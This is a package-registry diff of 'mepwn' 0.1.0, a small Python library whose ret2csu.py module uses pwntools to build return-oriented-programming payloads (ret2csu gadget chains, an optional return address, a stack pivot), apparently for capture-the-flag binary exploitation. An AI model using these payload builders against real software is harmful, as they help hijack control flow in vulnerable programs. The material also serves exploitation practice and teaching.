mepwn 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- mepwn-0.1.0/PKG-INFO +7 -0
- mepwn-0.1.0/README.md +0 -0
- mepwn-0.1.0/pyproject.toml +17 -0
- mepwn-0.1.0/setup.cfg +4 -0
- mepwn-0.1.0/src/mepwn/__init__.py +6 -0
- mepwn-0.1.0/src/mepwn/core.py +0 -0
- mepwn-0.1.0/src/mepwn/ret2csu.py +71 -0
- mepwn-0.1.0/src/mepwn.egg-info/PKG-INFO +7 -0
- mepwn-0.1.0/src/mepwn.egg-info/SOURCES.txt +10 -0
- mepwn-0.1.0/src/mepwn.egg-info/dependency_links.txt +1 -0
- mepwn-0.1.0/src/mepwn.egg-info/requires.txt +1 -0
- mepwn-0.1.0/src/mepwn.egg-info/top_level.txt +1 -0
mepwn-0.1.0/PKG-INFO
ADDED
mepwn-0.1.0/README.md
ADDED
|
File without changes
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "mepwn"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Pwn tools for aipno"
|
|
9
|
+
authors = [{ name = "aipno", email = "aipno@iswxl.cn" }]
|
|
10
|
+
requires-python = ">=3.8"
|
|
11
|
+
dependencies = [
|
|
12
|
+
"pwntools>=4.12.0"
|
|
13
|
+
]
|
|
14
|
+
|
|
15
|
+
[tool.setuptools.packages.find]
|
|
16
|
+
where = ["src"]
|
|
17
|
+
include = ["mepwn", "mepwn.*"]
|
mepwn-0.1.0/setup.cfg
ADDED
|
File without changes
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
from pwn import *
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
def csu_payload(pop_addr, call_addr, func_ptr, rdi=0, rsi=0, rdx=0):
|
|
5
|
+
"""
|
|
6
|
+
构造 CSU gadget 的 payload
|
|
7
|
+
|
|
8
|
+
参数说明:
|
|
9
|
+
pop_addr : pop rbx,rbp,r12,r13,r14,r15 gadget 的地址 (如 0x4005f6)
|
|
10
|
+
call_addr : mov + call gadget 的地址 (如 0x4005e0)
|
|
11
|
+
func_ptr : 要调用的函数地址 (放入 r12)
|
|
12
|
+
rdi : 第一个参数 (放入 r13d)
|
|
13
|
+
rsi : 第二个参数 (放入 r14)
|
|
14
|
+
rdx : 第三个参数 (放入 r15)
|
|
15
|
+
|
|
16
|
+
返回:
|
|
17
|
+
构造好的 payload 字节串
|
|
18
|
+
"""
|
|
19
|
+
payload = p64(pop_addr)
|
|
20
|
+
payload += p64(0)
|
|
21
|
+
payload += p64(1)
|
|
22
|
+
payload += p64(func_ptr)
|
|
23
|
+
payload += p64(rdi)
|
|
24
|
+
payload += p64(rsi)
|
|
25
|
+
payload += p64(rdx)
|
|
26
|
+
payload += p64(call_addr)
|
|
27
|
+
payload += p64(0) * 6
|
|
28
|
+
return payload
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def csu_payload_with_ret(
|
|
32
|
+
pop_addr, call_addr, func_ptr, rdi=0, rsi=0, rdx=0, ret_addr=None
|
|
33
|
+
):
|
|
34
|
+
"""
|
|
35
|
+
CSU payload + 返回地址控制
|
|
36
|
+
|
|
37
|
+
用于需要在 CSU 调用后继续控制执行流的场景
|
|
38
|
+
"""
|
|
39
|
+
payload = p64(pop_addr)
|
|
40
|
+
payload += p64(0) # rbx
|
|
41
|
+
payload += p64(1) # rbp
|
|
42
|
+
payload += p64(func_ptr) # r12
|
|
43
|
+
payload += p64(rdi) # r13 (edi)
|
|
44
|
+
payload += p64(rsi) # r14 (rsi)
|
|
45
|
+
payload += p64(rdx) # r15 (rdx)
|
|
46
|
+
payload += p64(call_addr) # 执行 gadget
|
|
47
|
+
payload += p64(0) * 7 # padding
|
|
48
|
+
if ret_addr:
|
|
49
|
+
payload += p64(ret_addr)
|
|
50
|
+
return payload
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
def csu_stack_pivot(pop_addr, call_addr, func_ptr, rdi=0, rsi=0, rdx=0, new_stack=None):
|
|
54
|
+
"""
|
|
55
|
+
堆栈迁移版本的 CSU
|
|
56
|
+
|
|
57
|
+
通过 add rsp, 8 后的 pop 来控制返回地址,实现栈迁移
|
|
58
|
+
"""
|
|
59
|
+
payload = p64(pop_addr)
|
|
60
|
+
payload += p64(0) # rbx
|
|
61
|
+
payload += p64(1) # rbp
|
|
62
|
+
payload += p64(func_ptr) # r12
|
|
63
|
+
payload += p64(rdi) # r13 (edi)
|
|
64
|
+
payload += p64(rsi) # r14 (rsi)
|
|
65
|
+
payload += p64(rdx) # r15 (rdx)
|
|
66
|
+
payload += p64(call_addr) # call gadget
|
|
67
|
+
payload += p64(0) # add rsp, 8 的位置
|
|
68
|
+
payload += p64(0) * 6 # pop ×6
|
|
69
|
+
if new_stack:
|
|
70
|
+
payload += p64(new_stack)
|
|
71
|
+
return payload
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
pyproject.toml
|
|
3
|
+
src/mepwn/__init__.py
|
|
4
|
+
src/mepwn/core.py
|
|
5
|
+
src/mepwn/ret2csu.py
|
|
6
|
+
src/mepwn.egg-info/PKG-INFO
|
|
7
|
+
src/mepwn.egg-info/SOURCES.txt
|
|
8
|
+
src/mepwn.egg-info/dependency_links.txt
|
|
9
|
+
src/mepwn.egg-info/requires.txt
|
|
10
|
+
src/mepwn.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
pwntools>=4.12.0
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
mepwn
|